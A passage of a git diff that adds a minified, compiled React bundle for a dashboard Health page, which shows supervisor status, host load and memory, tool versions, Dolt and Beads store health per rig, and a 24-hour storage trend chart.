${n.host.load_avg_15.toFixed(2)}`,...n.host.load_avg_1>n.host.cpu_count?{tone:"warn"}:{}}),t.jsx(l,{label:"Memory free",value:`${x(n.host.free_mem_bytes)} of ${x(n.host.total_mem_bytes)}`,...n.host.free_mem_bytes/n.host.total_mem_bytes<.1?{tone:"warn"}:{}}),t.jsx(l,{label:"Host uptime",value:j(n.host.uptime_sec)})]})}),t.jsx(h,{title:"Admin process",attention:X,children:m===null?t.jsx("p",{className:"text-body text-fg-muted italic",children:"Loading dashboard process health."}):n===null?t.jsxs("p",{className:"text-body text-accent",children:["Dashboard process health unavailable",S?`: ${S}`:"","."]}):t.jsxs(g,{children:[t.jsx(l,{label:"PID",value:n.admin.pid.toString()}),t.jsx(l,{label:"Uptime",value:j(n.admin.uptime_sec)}),t.jsx(l,{label:"RSS",value:x(n.admin.rss_bytes)}),t.jsx(l,{label:"Heap used",value:x(n.admin.heap_used_bytes)}),t.jsx(l,{label:"Node",value:n.admin.node_version})]})}),t.jsx(h,{title:"Tool versions",children:t.jsx(oe,{state:U})}),t.jsx(h,{title:"Diagnostics",children:t.jsxs("div",{className:"space-y-8",children:[t.jsx(ce,{usage:K(k)}),t.jsx(ue,{usage:Ce(k)})]})}),t.jsx(h,{title:"Bead stores · per rig",meta:be(f),...B?{status:B}:{},children:t.jsx(de,{report:f})}),t.jsx(h,{title:"Store thresholds",children:t.jsx(ve,{comparison:Le(k)})}),t.jsx(h,{title:"Dolt-noms · 24 h",attention:G,meta:u&&u.samples.length>0?`${u.samples.length} samples`:void 0,children:u===null?t.jsx("p",{className:"text-body text-fg-muted italic",children:"Loading."}):u.available?u.samples.length===0?t.jsx("p",{className:"text-body text-fg-muted italic",children:"No samples yet. Backend just started; next sample in ten minutes or less."}):t.jsx(ge,{samples:u.samples}):t.jsxs("p",{className:"text-body text-fg-muted italic",children:["Dolt-noms metric unavailable: ",je(u.reason),"."]})})]}):t.jsx("p",{className:"text-body text-fg-muted italic",children:"Loading."})]})}function h({title:e,status:a,meta:s,attention:o,children:r}){return t.jsxs("section",{...ae(o??null),children:[t.jsxs("header",{className:"flex items-baseline justify-between gap-4 mb-4 pb-2 border-b border-rule",children:[t.jsx("h2",{className:"text-headline font-semibold text-fg",children:e}),t.jsxs("div",{className:"flex items-baseline gap-4",children:[s&&t.jsx("span",{className:"text-label uppercase tracking-wider text-fg-muted",children:s}),a&&t.jsx(V,{tone:a.tone,label:a.label})]})]}),r]})}function g({children:e}){return t.jsx("dl",{className:"grid grid-cols-[max-content_1fr] gap-x-8 gap-y-3 max-w-prose",children:e})}function l({label:e,value:a,tone:s}){const o=s==="warn"?"text-warn":s==="stuck"?"text-accent":"text-fg";return t.jsxs(t.Fragment,{children:[t.jsx("dt",{className:"text-body text-fg-muted",children:e}),t.jsx("dd",{className:`text-body tnum font-medium ${o}`,children:a})]})}function oe({state:e}){if(e===null)return t.jsx("p",{className:"text-body text-fg-muted italic",children:"Loading tool versions."});if(e.status==="unavailable")return t.jsxs("p",{className:"text-body text-fg-muted italic",children:["Tool versions unavailable: ",e.error,"."]});const a=[{label:"gc",tool:e.data.gc},{label:"bd",tool:e.data.beads},{label:"dolt",tool:e.data.dolt}];return t.jsxs("div",{className:"grid grid-cols-[1fr_max-content] gap-x-8 gap-y-3 max-w-prose",children:[t.jsx("div",{className:"text-label uppercase tracking-wider text-fg-muted",children:"Tool"}),t.jsx("div",{className:"text-label uppercase tracking-wider text-fg-muted text-right",children:"Installed"}),a.map(s=>t.jsx(ie,{label:s.label,tool:s.tool},s.label))]})}function ie({label:e,tool:a}){return t.jsxs("div",{className:"contents","data-tool-version-row":e,children:[t.jsx("div",{className:"text-body text-fg",children:e}),t.jsx("div",{className:"text-right",children:a.status==="available"?t.jsx("span",{className:"text-body tnum font-medium text-fg",children:a.version}):t.jsxs("div",{className:"space-y-1",children:[t.jsx("div",{className:"text-body tnum font-medium text-warn",children:"unavailable"}),t.jsx("div",{className:"text-label text-fg-muted normal-case",children:a.reason})]})})]})}function ce({usage:e}){if(e.status==="unavailable")return t.jsx(O,{heading:"Dolt usage",reason:e.reason});const a=e.value;return t.jsxs("div",{className:"space-y-2",children:[t.jsx("h3",{className:"text-label uppercase tracking-wider text-fg-muted",children:"Dolt usage"}),e.stale!==void 0&&t.jsx(H,{message:e.stale}),t.jsxs(g,{children:[t.jsx(l,{label:"On-disk size",value:x(Te(a.size_bytes))}),t.jsx(l,{label:"Live rows",value:a.live_rows.toLocaleString()}),t.jsx(l,{label:"MB per row",value:a.ratio_mb_per_row.toString()}),t.jsx(l,{label:"Last maintenance",value:a.last_gc_status??"not reported",...a.last_gc_status!==void 0&&a.last_gc_status!=="success"?{tone:"warn"}:{}}),a.last_gc_at!==void 0&&t.jsx(l,{label:"Last maintenance at",value:ne(a.last_gc_at)}),t.jsx(l,{label:"Store path",value:a.path})]})]})}function ue({usage:e}){if(e.status==="unavailable")return t.jsx(O,{heading:"Beads usage",reason:e.reason});const a=e.value;return t.jsxs("div",{className:"space-y-2",children:[t.jsx("h3",{className:"text-label uppercase tracking-wider text-fg-muted",children:"Beads usage"}),e.stale!==void 0&&t.jsx(H,{message:e.stale}),t.jsxs(g,{children:[t.jsx(l,{label:"Open",value:a.open.toString()}),t.jsx(l,{label:"Ready",value:a.ready.toString()}),t.jsx(l,{label:"In progress",value:a.in_progress.toString()})]})]})}function de({report:e}){if(e===null)return t.jsx("p",{className:"text-body text-fg-muted italic",children:"Loading per-rig store health."});if(!e.available&&e.rigs.length===0)return t.jsxs("p",{className:"text-body text-fg-muted italic",children:["Per-rig store health unavailable: ",P(e.reason),"."]});const a=[...e.rigs].sort((s,o)=>A(o.rollup)-A(s.rollup));return t.jsxs("div",{className:"space-y-6 max-w-prose",children:[!e.available&&t.jsxs("p",{className:"text-body text-warn italic",children:["Showing the last sample; refresh failed: ",P(e.reason),"."]}),a.map(s=>t.jsx(he,{rig:s},s.rig))]})}function he({rig:e}){const a=xe(e);return t.jsxs("div",{className:"space-y-2 border-b border-rule pb-4 last:border-b-0",children:[t.jsxs("div",{className:"flex items-baseline justify-between gap-4",children:[t.jsx("span",{className:"text-body font-medium text-fg",children:e.rig}),t.jsx(V,{tone:a.tone,label:a.label})]}),t.jsxs("dl",{className:"grid grid-cols-[max-content_1fr] gap-x-6 gap-y-1",children:[t.jsx(l,{label:"Dolt server",value:me(e),...e.doltConnected===!1?{tone:"stuck"}:{}}),e.issueCount!==null&&t.jsx(l,{label:"Live issues",value:e.issueCount.toLocaleString()})]}),e.problems.length>0&&t.jsx("ul",{className:"space-y-1",children:e.problems.map(s=>t.jsxs("li",{className:`text-label ${s.status==="error"?"text-accent":"text-warn"}`,children:[s.name,": ",s.message]},`${s.category}/${s.name}`))}),e.note!==void 0&&t.jsx("p",{className:"text-label text-fg-muted italic",children:e.note})]})}function me(e){const a=e.doltEndpoint??"no endpoint reported";return e.doltConnected===!0?`up · ${a}`:e.doltConnected===!1?`DOWN · ${a}`:`unknown · ${a}`}function xe(e){switch(e.rollup){case"ok":return{tone:"ok",label:"healthy"};case"warn":return{tone:"warn",label:"warnings"};case"down":return e.reachable?e.doltConnected===!1?{tone:"stuck",label:"dolt down"}:{tone:"stuck",label:"errors"}:{tone:"stuck",label:"unreachable"}}}function A(e){return e==="down"?2:e==="warn"?1:0}function be(e){if(e===null||e.rigs.length===0)return;const a={ok:0,warn:0,down:0};for(const s of e.rigs)a[s.rollup]+=1;return`${a.ok} ok · ${a.warn} warn · ${a.down} down`}function pe(e){if(e.rigs.some(a=>a.rollup==="down"))return{tone:"stuck",label:"attention"};if(e.rigs.some(a=>a.rollup==="warn"))return{tone:"warn",label:"warnings"};if(e.rigs.length>0)return{tone:"ok",label:"healthy"}}function P(e){switch(e){case"not_sampled_yet":return"backend just started; first sample is in flight";case"rig_list_failed":return"the supervisor rig list could not be read";case"fetch_failed":return"the dashboard backend could not be reached"}}function ve({comparison:e}){return e.status==="unavailable"?t.jsxs("p",{className:"text-body text-fg-muted italic",children:["Comparison unavailable: ",e.reason,"."]}):t.jsxs("div",{className:"space-y-2",children:[e.stale!==void 0&&t.jsx(H,{message:e.stale}),t.jsxs("div",{className:"grid grid-cols-[1fr_max-content_max-content] gap-x-8 gap-y-3 max-w-prose",children:[t.jsx("div",{className:"text-label uppercase tracking-wider text-fg-muted",children:"Setting"}),t.jsx("div",{className:"text-label uppercase tracking-wider text-fg-muted text-right",children:"Recommended"}),t.jsx("div",{className:"text-label uppercase tracking-wider text-fg-muted text-right",children:"Loaded"}),e.value.map(a=>t.jsx(fe,{row:a},a.label))]})]})}function fe({row:e}){const a=e.withinRecommendation?"text-fg":"text-warn";return t.jsxs("div",{className:`contents ${a}`,"data-comparison-row":e.label,children:[t.jsxs("div",{className:`text-body ${a}`,children:[e.label,!e.withinRecommendation&&t.jsx("span",{className:"text-label uppercase tracking-wider text-warn",children:" · over"})]}),t.jsx("div",{className:"text-body tnum text-fg-muted text-right",children:e.recommended}),t.jsx("div",{className:`text-body tnum font-medium text-right ${a}`,children:e.loaded})]})}function O({heading:e,reason:a}){return t.jsxs("div",{className:"space-y-2",children:[t.jsx("h3",{className:"text-label uppercase tracking-wider text-fg-muted",children:e}),t.jsxs("p",{className:"text-body text-fg-muted italic",children:["Unavailable: ",a,"."]})]})}function H({message:e}){return t.jsx("p",{className:"text-body text-warn italic",children:e})}function ge({samples:e}){if(e.length===0)return null;const a=Math.max(...e.map(d=>d.bytes)),s=Math.min(...e.map(d=>d.bytes)),o=a-s||1,r=600,c=60,b=e.length>1?r/(e.length-1):r,p=e.map((d,_)=>{const w=_*b,N=c-(d.bytes-s)/o*c;return`${w.toFixed(1)},${N.toFixed(1)}`}).join(" ");return t.jsxs("div",{className:"space-y-3 max-w-prose",children:[t.jsx("svg",{viewBox:`0 0 ${r} ${c}`,preserveAspectRatio:"none",className:"w-full h-16","aria-label":"24 hour dolt-noms size trend",children:t.jsx("polyline",{fill:"none",stroke:"currentColor",strokeWidth:"1",className:"text-accent",points:p})}),t.jsxs("div",{className:"flex items-baseline justify-between text-label uppercase tracking-wider text-fg-muted tnum",children:[t.jsxs("span",{children:["min ",x(s)]}),t.jsxs("span",{children:["max ",x(a)]})]})]})}function je(e){switch(e){case"store_health_absent":return"supervisor is not reporting store_health; samples resume when it recovers";case"sample_failed":return"latest supervisor status read failed; check the backend log"}}async function ye(){try{return{status:"available",data:await y.systemHealth()}}catch(e){return{status:"unavailable",error:E(e,"dashboard host health unavailable")}}}async function _e(){const e=F();if(e===null)throw new Error("Health page loaded before an active city was resolved");try{return{status:"available",data:await te(re).cityHealth(e)}}catch{return{status:"unavailable",error:"supervisor health unavailable"}}}function z(e){switch(e){case"not_sampled_yet":return"supervisor status sample is warming up; data appears after the next backend sample";case"status_read_failed":return"latest supervisor status read failed; check the backend log"}}function I(e){return`Showing the last sample; refresh failed: ${z(e)}.`}async function we(){try{const e=await y.supervisorStatus();return e.available?{status:"available",data:e.status,staleReason:null}:e.status!==null?{status:"available",data:e.status,staleReason:e.reason}:{status:"unavailable",error:z(e.reason)}}catch(e){return{status:"unavailable",error:E(e,"supervisor status unavailable")}}}async function Ne(){try{return{status:"available",data:await y.localToolVersions()}}catch{return{status:"unavailable",error:"local tool versions unavailable"}}}async function Se(){try{return await y.doltTrend()}catch{return{available:!1,reason:"sample_failed",samples:[]}}}async function ke(){try{return await y.rigStoreHealth()}catch{return{available:!1,reason:"fetch_failed",rigs:[]}}}function $e(e,a){const s=[];if(a===null)s.push("Supervisor state still loading.");else if(a.status==="available"){const r=a.data,c=r.status==="ok"?"healthy":r.status;r.city!==void 0?s.push(`Supervisor ${c} on ${r.city}, uptime ${j(r.uptime_sec)}.`):s.push(`Supervisor ${c}, uptime ${j(r.uptime_sec)}.`)}else s.push("Supervisor unreachable.");if(e===null)return s.push("Host health unavailable."),s.join(" ");const o=Math.round(100*(1-e.host.free_mem_bytes/e.host.total_mem_bytes));return s.push(`Memory at ${o}%; ${e.host.cpu_count} CPUs averaging ${e.host.load_avg_1.toFixed(2)} load.`),s.join(" ")}function Re(e){return e.status==="unavailable"?{tone:"stuck",label:"offline"}:e.data.status==="ok"?{tone:"ok",label:"healthy"}:{tone:"warn",label:e.data.status}}function He(e){const a=e.host.free_mem_bytes/e.host.total_mem_bytes;if(a<.05)return{tone:"stuck",label:"memory critical"};if(a<.1)return{tone:"warn",label:"memory low"};if(e.host.load_avg_1>e.host.cpu_count*1.5)return{tone:"warn",label:"load high"}}function K(e){if(e===null)return{status:"unavailable",reason:"supervisor status still loading"};if(e.status==="unavailable")return{status:"unavailable",reason:e.error};const a=e.data.store_health;return a===void 0?{status:"unavailable",reason:"supervisor did not report store_health"}:{status:"available",value:a,source:"supervisor status.store_health",...e.staleReason!==null?{stale:I(e.staleReason)}:{}}}function Ce(e){return e===null?{status:"unavailable",reason:"supervisor status still loading"}:e.status==="unavailable"?{status:"unavailable",reason:e.error}:{status:"available",value:e.data.work,source:"supervisor status.work",...e.staleReason!==null?{stale:I(e.staleReason)}:{}}}function Le(e){const a=K(e);if(a.status==="unavailable")return{status:"unavailable",reason:a.reason};const s=a.value;return{status:"available",source:"supervisor status.store_health (threshold vs actual)",...a.stale!==void 0?{stale:a.stale}:{},value:[{label:"Dolt MB-per-row ratio",recommended:`<= ${s.threshold_mb_per_row}`,loaded:String(s.ratio_mb_per_row),withinRecommendation:!s.warning}]}}function Te(e){return typeof e=="bigint"?Number(e):e}function j(e){if(e<60)return`${e}s`;if(e<3600)return`${Math.round(e/60)}m`;if(e<86400)return`${Math.round(e/3600)}h`;const a=Math.floor(e/86400),s=Math.round(e%86400/3600);return s>0?`${a}d ${s}h`:`${a}d`}export{Ee as HealthPage};
diff --git a/internal/api/dashboardspa/dist/assets/Health-DWOkvU0J.js b/internal/api/dashboardspa/dist/assets/Health-DWOkvU0J.js
new file mode 100644
index 0000000000..96dc40ec5a
--- /dev/null
+++ b/internal/api/dashboardspa/dist/assets/Health-DWOkvU0J.js
@@ -0,0 +1 @@
+import{a as Y,b as v,r as Z,j as t,B as ee,X as y,z as E,S as V,H as F,ab as te}from"./index-BFDP6Xwd.js";import{p as $,d as ae}from"./routeHighlight-B30gQO2o.js";import{P as se}from"./PageHeader-5RHLpIfH.js";import{u as le}from"./useVisibleRefresh-Bxd6CPUo.js";import{a as x}from"./format-fte2CeYD.js";import{a as ne}from"./time-D9v0saHV.js";const re=2500;function Ee(){const e=Y(),a=F(),s=v("health:system",ye),o=v(`health:supervisor:${a??"no-city"}`,_e),r=v(`health:status:${a??"no-city"}`,we),c=v("health:local-tools",Ne),b=v(`health:dolt-noms-trend:${a??"no-city"}`,Se),p=v(`health:rig-store:${a??"no-city"}`,ke),d=s.refresh,_=o.refresh,w=r.refresh,N=c.refresh,C=b.refresh,L=p.refresh,W=s.loading||o.loading||r.loading||c.loading||b.loading||p.loading,T=[s.error,o.error,r.error,c.error,b.error,p.error].filter(J=>J!==null).join("; ")||null,D=Z.useCallback(async()=>{await Promise.all([d(),_(),w(),N(),C(),L()])},[C,N,L,_,w,d]),m=s.data??null,n=m?.status==="available"?m.data:null,S=m?.status==="unavailable"?m.error:null,i=o.data??null,k=r.data??null,U=c.data??null,u=b.data??null,f=p.data??null,B=f?pe(f):void 0,R=m!==null||i!==null||k!==null||U!==null||u!==null||f!==null,M=n?He(n):void 0,X=$(e,"health",["health:supervisor-"]),q=$(e,"health",["health:load-","health:memory-"]),Q=$(e,"health",["health:dashboard-"]),G=$(e,"health",["health:dolt-noms-"]);return le(D,3e4),t.jsxs("section",{children:[t.jsx(se,{title:"Health",synopsis:R?$e(n,i):"Reading state from the supervisor.",meta:t.jsxs(t.Fragment,{children:[T&&t.jsx("span",{className:"normal-case text-body text-accent",role:"alert",children:T}),t.jsx(ee,{size:"sm",onClick:()=>{D()},children:W&&!R?"Loading":"Refresh"})]})}),R?t.jsxs("div",{className:"space-y-12",children:[t.jsx(h,{title:"Supervisor",attention:X,...i?{status:Re(i)}:{},children:i===null?t.jsx("p",{className:"text-body text-fg-muted italic",children:"Loading supervisor state."}):i.status==="available"?t.jsxs(g,{children:[i.data.city!==void 0?t.jsx(l,{label:"City",value:i.data.city}):t.jsx(l,{label:"City",value:"not reported by supervisor",tone:"warn"}),i.data.version!==void 0?t.jsx(l,{label:"Version",value:i.data.version}):t.jsx(l,{label:"Version",value:"not reported by supervisor",tone:"warn"}),t.jsx(l,{label:"Uptime",value:j(i.data.uptime_sec)}),t.jsx(l,{label:"Status",value:i.data.status})]}):t.jsx("p",{className:"text-body text-accent",children:"Supervisor not reachable. The dashboard shell stays up; live data is stale."})}),t.jsx(h,{title:"Host",attention:q,...M?{status:M}:{},children:m===null?t.jsx("p",{className:"text-body text-fg-muted italic",children:"Loading dashboard host health."}):n===null?t.jsxs("p",{className:"text-body text-accent",children:["Dashboard host health unavailable",S?`: ${S}`:"","."]}):t.jsxs(g,{children:[t.jsx(l,{label:"CPUs",value:n.host.cpu_count.toString()}),t.jsx(l,{label:"Load (1m, 5m, 15m)",value:`${n.host.load_avg_1.toFixed(2)}, ${n.host.load_avg_5.toFixed(2)}, ${n.host.load_avg_15.toFixed(2)}`,...n.host.load_avg_1>n.host.cpu_count?{tone:"warn"}:{}}),t.jsx(l,{label:"Memory free",value:`${x(n.host.free_mem_bytes)} of ${x(n.host.total_mem_bytes)}`,...n.host.free_mem_bytes/n.host.total_mem_bytes<.1?{tone:"warn"}:{}}),t.jsx(l,{label:"Host uptime",value:j(n.host.uptime_sec)})]})}),t.jsx(h,{title:"Admin process",attention:Q,children:m===null?t.jsx("p",{className:"text-body text-fg-muted italic",children:"Loading dashboard process health."}):n===null?t.jsxs("p",{className:"text-body text-accent",children:["Dashboard process health unavailable",S?`: ${S}`:"","."]}):t.jsxs(g,{children:[t.jsx(l,{label:"PID",value:n.admin.pid.toString()}),t.jsx(l,{label:"Uptime",value:j(n.admin.uptime_sec)}),t.jsx(l,{label:"RSS",value:x(n.admin.rss_bytes)}),t.jsx(l,{label:"Heap used",value:x(n.admin.heap_used_bytes)}),t.jsx(l,{label:"Node",value:n.admin.node_version})]})}),t.jsx(h,{title:"Tool versions",children:t.jsx(oe,{state:U})}),t.jsx(h,{title:"Diagnostics",children:t.jsxs("div",{className:"space-y-8",children:[t.jsx(ce,{usage:K(k)}),t.jsx(ue,{usage:Ce(k)})]})}),t.jsx(h,{title:"Bead stores · per rig",meta:be(f),...B?{status:B}:{},children:t.jsx(de,{report:f})}),t.jsx(h,{title:"Store thresholds",children:t.jsx(ve,{comparison:Le(k)})}),t.jsx(h,{title:"Dolt-noms · 24 h",attention:G,meta:u&&u.samples.length>0?`${u.samples.length} samples`:void 0,children:u===null?t.jsx("p",{className:"text-body text-fg-muted italic",children:"Loading."}):u.available?u.samples.length===0?t.jsx("p",{className:"text-body text-fg-muted italic",children:"No samples yet. Backend just started; next sample in ten minutes or less."}):t.jsx(ge,{samples:u.samples}):t.jsxs("p",{className:"text-body text-fg-muted italic",children:["Dolt-noms metric unavailable: ",je(u.reason),"."]})})]}):t.jsx("p",{className:"text-body text-fg-muted italic",children:"Loading."})]})}function h({title:e,status:a,meta:s,attention:o,children:r}){return t.jsxs("section",{...ae(o??null),children:[t.jsxs("header",{className:"flex items-baseline justify-between gap-4 mb-4 pb-2 border-b border-rule",children:[t.jsx("h2",{className:"text-headline font-semibold text-fg",children:e}),t.jsxs("div",{className:"flex items-baseline gap-4",children:[s&&t.jsx("span",{className:"text-label uppercase tracking-wider text-fg-muted",children:s}),a&&t.jsx(V,{tone:a.tone,label:a.label})]})]}),r]})}function g({children:e}){return t.jsx("dl",{className:"grid grid-cols-[max-content_1fr] gap-x-8 gap-y-3 max-w-prose",children:e})}function l({label:e,value:a,tone:s}){const o=s==="warn"?"text-warn":s==="stuck"?"text-accent":"text-fg";return t.jsxs(t.Fragment,{children:[t.jsx("dt",{className:"text-body text-fg-muted",children:e}),t.jsx("dd",{className:`text-body tnum font-medium ${o}`,children:a})]})}function oe({state:e}){if(e===null)return t.jsx("p",{className:"text-body text-fg-muted italic",children:"Loading tool versions."});if(e.status==="unavailable")return t.jsxs("p",{className:"text-body text-fg-muted italic",children:["Tool versions unavailable: ",e.error,"."]});const a=[{label:"gc",tool:e.data.gc},{label:"bd",tool:e.data.beads},{label:"dolt",tool:e.data.dolt}];return t.jsxs("div",{className:"grid grid-cols-[1fr_max-content] gap-x-8 gap-y-3 max-w-prose",children:[t.jsx("div",{className:"text-label uppercase tracking-wider text-fg-muted",children:"Tool"}),t.jsx("div",{className:"text-label uppercase tracking-wider text-fg-muted text-right",children:"Installed"}),a.map(s=>t.jsx(ie,{label:s.label,tool:s.tool},s.label))]})}function ie({label:e,tool:a}){return t.jsxs("div",{className:"contents","data-tool-version-row":e,children:[t.jsx("div",{className:"text-body text-fg",children:e}),t.jsx("div",{className:"text-right",children:a.status==="available"?t.jsx("span",{className:"text-body tnum font-medium text-fg",children:a.version}):t.jsxs("div",{className:"space-y-1",children:[t.jsx("div",{className:"text-body tnum font-medium text-warn",children:"unavailable"}),t.jsx("div",{className:"text-label text-fg-muted normal-case",children:a.reason})]})})]})}function ce({usage:e}){if(e.status==="unavailable")return t.jsx(O,{heading:"Dolt usage",reason:e.reason});const a=e.value;return t.jsxs("div",{className:"space-y-2",children:[t.jsx("h3",{className:"text-label uppercase tracking-wider text-fg-muted",children:"Dolt usage"}),e.stale!==void 0&&t.jsx(H,{message:e.stale}),t.jsxs(g,{children:[t.jsx(l,{label:"On-disk size",value:x(Te(a.size_bytes))}),t.jsx(l,{label:"Live rows",value:a.live_rows.toLocaleString()}),t.jsx(l,{label:"MB per row",value:a.ratio_mb_per_row.toString()}),t.jsx(l,{label:"Last maintenance",value:a.last_gc_status??"not reported",...a.last_gc_status!==void 0&&a.last_gc_status!=="success"?{tone:"warn"}:{}}),a.last_gc_at!==void 0&&t.jsx(l,{label:"Last maintenance at",value:ne(a.last_gc_at)}),t.jsx(l,{label:"Store path",value:a.path})]})]})}function ue({usage:e}){if(e.status==="unavailable")return t.jsx(O,{heading:"Beads usage",reason:e.reason});const a=e.value;return t.jsxs("div",{className:"space-y-2",children:[t.jsx("h3",{className:"text-label uppercase tracking-wider text-fg-muted",children:"Beads usage"}),e.stale!==void 0&&t.jsx(H,{message:e.stale}),t.jsxs(g,{children:[t.jsx(l,{label:"Open",value:a.open.toString()}),t.jsx(l,{label:"Ready",value:a.ready.toString()}),t.jsx(l,{label:"In progress",value:a.in_progress.toString()})]})]})}function de({report:e}){if(e===null)return t.jsx("p",{className:"text-body text-fg-muted italic",children:"Loading per-rig store health."});if(!e.available&&e.rigs.length===0)return t.jsxs("p",{className:"text-body text-fg-muted italic",children:["Per-rig store health unavailable: ",P(e.reason),"."]});const a=[...e.rigs].sort((s,o)=>A(o.rollup)-A(s.rollup));return t.jsxs("div",{className:"space-y-6 max-w-prose",children:[!e.available&&t.jsxs("p",{className:"text-body text-warn italic",children:["Showing the last sample; refresh failed: ",P(e.reason),"."]}),a.map(s=>t.jsx(he,{rig:s},s.rig))]})}function he({rig:e}){const a=xe(e);return t.jsxs("div",{className:"space-y-2 border-b border-rule pb-4 last:border-b-0",children:[t.jsxs("div",{className:"flex items-baseline justify-between gap-4",children:[t.jsx("span",{className:"text-body font-medium text-fg",children:e.rig}),t.jsx(V,{tone:a.tone,label:a.label})]}),t.jsxs("dl",{className:"grid grid-cols-[max-content_1fr] gap-x-6 gap-y-1",children:[t.jsx(l,{label:"Dolt server",value:me(e),...e.doltConnected===!1?{tone:"stuck"}:{}}),e.issueCount!==null&&t.jsx(l,{label:"Live issues",value:e.issueCount.toLocaleString()})]}),e.problems.length>0&&t.jsx("ul",{className:"space-y-1",children:e.problems.map(s=>t.jsxs("li",{className:`text-label ${s.status==="error"?"text-accent":"text-warn"}`,children:[s.name,": ",s.message]},`${s.category}/${s.name}`))}),e.note!==void 0&&t.jsx("p",{className:"text-label text-fg-muted italic",children:e.note})]})}function me(e){const a=e.doltEndpoint??"no endpoint reported";return e.doltConnected===!0?`up · ${a}`:e.doltConnected===!1?`DOWN · ${a}`:`unknown · ${a}`}function xe(e){switch(e.rollup){case"ok":return{tone:"ok",label:"healthy"};case"warn":return{tone:"warn",label:"warnings"};case"down":return e.reachable?e.doltConnected===!1?{tone:"stuck",label:"dolt down"}:{tone:"stuck",label:"errors"}:{tone:"stuck",label:"unreachable"}}}function A(e){return e==="down"?2:e==="warn"?1:0}function be(e){if(e===null||e.rigs.length===0)return;const a={ok:0,warn:0,down:0};for(const s of e.rigs)a[s.rollup]+=1;return`${a.ok} ok · ${a.warn} warn · ${a.down} down`}function pe(e){if(e.rigs.some(a=>a.rollup==="down"))return{tone:"stuck",label:"attention"};if(e.rigs.some(a=>a.rollup==="warn"))return{tone:"warn",label:"warnings"};if(e.rigs.length>0)return{tone:"ok",label:"healthy"}}function P(e){switch(e){case"not_sampled_yet":return"backend just started; first sample is in flight";case"rig_list_failed":return"the supervisor rig list could not be read";case"fetch_failed":return"the dashboard backend could not be reached"}}function ve({comparison:e}){return e.status==="unavailable"?t.jsxs("p",{className:"text-body text-fg-muted italic",children:["Comparison unavailable: ",e.reason,"."]}):t.jsxs("div",{className:"space-y-2",children:[e.stale!==void 0&&t.jsx(H,{message:e.stale}),t.jsxs("div",{className:"grid grid-cols-[1fr_max-content_max-content] gap-x-8 gap-y-3 max-w-prose",children:[t.jsx("div",{className:"text-label uppercase tracking-wider text-fg-muted",children:"Setting"}),t.jsx("div",{className:"text-label uppercase tracking-wider text-fg-muted text-right",children:"Recommended"}),t.jsx("div",{className:"text-label uppercase tracking-wider text-fg-muted text-right",children:"Loaded"}),e.value.map(a=>t.jsx(fe,{row:a},a.label))]})]})}function fe({row:e}){const a=e.withinRecommendation?"text-fg":"text-warn";return t.jsxs("div",{className:`contents ${a}`,"data-comparison-row":e.label,children:[t.jsxs("div",{className:`text-body ${a}`,children:[e.label,!e.withinRecommendation&&t.jsx("span",{className:"text-label uppercase tracking-wider text-warn",children:" · over"})]}),t.jsx("div",{className:"text-body tnum text-fg-muted text-right",children:e.recommended}),t.jsx("div",{className:`text-body tnum font-medium text-right ${a}`,children:e.loaded})]})}function O({heading:e,reason:a}){return t.jsxs("div",{className:"space-y-2",children:[t.jsx("h3",{className:"text-label uppercase tracking-wider text-fg-muted",children:e}),t.jsxs("p",{className:"text-body text-fg-muted italic",children:["Unavailable: ",a,"."]})]})}function H({message:e}){return t.jsx("p",{className:"text-body text-warn italic",children:e})}function ge({samples:e}){if(e.length===0)return null;const a=Math.max(...e.map(d=>d.bytes)),s=Math.min(...e.map(d=>d.bytes)),o=a-s||1,r=600,c=60,b=e.length>1?r/(e.length-1):r,p=e.map((d,_)=>{const w=_*b,N=c-(d.bytes-s)/o*c;return`${w.toFixed(1)},${N.toFixed(1)}`}).join(" ");return t.jsxs("div",{className:"space-y-3 max-w-prose",children:[t.jsx("svg",{viewBox:`0 0 ${r} ${c}`,preserveAspectRatio:"none",className:"w-full h-16","aria-label":"24 hour dolt-noms size trend",children:t.jsx("polyline",{fill:"none",stroke:"currentColor",strokeWidth:"1",className:"text-accent",points:p})}),t.jsxs("div",{className:"flex items-baseline justify-between text-label uppercase tracking-wider text-fg-muted tnum",children:[t.jsxs("span",{children:["min ",x(s)]}),t.jsxs("span",{children:["max ",x(a)]})]})]})}function je(e){switch(e){case"store_health_absent":return"supervisor is not reporting store_health; samples resume when it recovers";case"sample_failed":return"latest supervisor status read failed; check the backend log"}}async function ye(){try{return{status:"available",data:await y.systemHealth()}}catch(e){return{status:"unavailable",error:E(e,"dashboard host health unavailable")}}}async function _e(){const e=F();if(e===null)throw new Error("Health page loaded before an active city was resolved");try{return{status:"available",data:await te(re).cityHealth(e)}}catch{return{status:"unavailable",error:"supervisor health unavailable"}}}function z(e){switch(e){case"not_sampled_yet":return"supervisor status sample is warming up; data appears after the next backend sample";case"status_read_failed":return"latest supervisor status read failed; check the backend log"}}function I(e){return`Showing the last sample; refresh failed: ${z(e)}.`}async function we(){try{const e=await y.supervisorStatus();return e.available?{status:"available",data:e.status,staleReason:null}:e.status!==null?{status:"available",data:e.status,staleReason:e.reason}:{status:"unavailable",error:z(e.reason)}}catch(e){return{status:"unavailable",error:E(e,"supervisor status unavailable")}}}async function Ne(){try{return{status:"available",data:await y.localToolVersions()}}catch{return{status:"unavailable",error:"local tool versions unavailable"}}}async function Se(){try{return await y.doltTrend()}catch{return{available:!1,reason:"sample_failed",samples:[]}}}async function ke(){try{return await y.rigStoreHealth()}catch{return{available:!1,reason:"fetch_failed",rigs:[]}}}function $e(e,a){const s=[];if(a===null)s.push("Supervisor state still loading.");else if(a.status==="available"){const r=a.data,c=r.status==="ok"?"healthy":r.status;r.city!==void 0?s.push(`Supervisor ${c} on ${r.city}, uptime ${j(r.uptime_sec)}.`):s.push(`Supervisor ${c}, uptime ${j(r.uptime_sec)}.`)}else s.push("Supervisor unreachable.");if(e===null)return s.push("Host health unavailable."),s.join(" ");const o=Math.round(100*(1-e.host.free_mem_bytes/e.host.total_mem_bytes));return s.push(`Memory at ${o}%; ${e.host.cpu_count} CPUs averaging ${e.host.load_avg_1.toFixed(2)} load.`),s.join(" ")}function Re(e){return e.status==="unavailable"?{tone:"stuck",label:"offline"}:e.data.status==="ok"?{tone:"ok",label:"healthy"}:{tone:"warn",label:e.data.status}}function He(e){const a=e.host.free_mem_bytes/e.host.total_mem_bytes;if(a<.05)return{tone:"stuck",label:"memory critical"};if(a<.1)return{tone:"warn",label:"memory low"};if(e.host.load_avg_1>e.host.cpu_count*1.5)return{tone:"warn",label:"load high"}}function K(e){if(e===null)return{status:"unavailable",reason:"supervisor status still 